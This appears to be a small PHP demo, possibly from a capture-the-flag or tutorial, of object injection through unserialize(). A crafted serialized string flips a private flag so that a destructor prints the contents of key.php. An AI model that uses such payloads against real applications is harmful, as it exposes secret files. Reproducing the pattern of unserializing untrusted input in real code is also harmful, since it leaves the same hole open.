- file_get_contents: documentation ( source)
- unserialize: documentation ( source)
<?php
class T
{
private $allowed = 0;
function __destruct() { if ($this->allowed == 1) echo file_get_contents("key.php"); }
}
$t = new T;
//echo serialize($t);
unserialize('O:1:"T":1:{s:10:"Tallowed";i:1;}');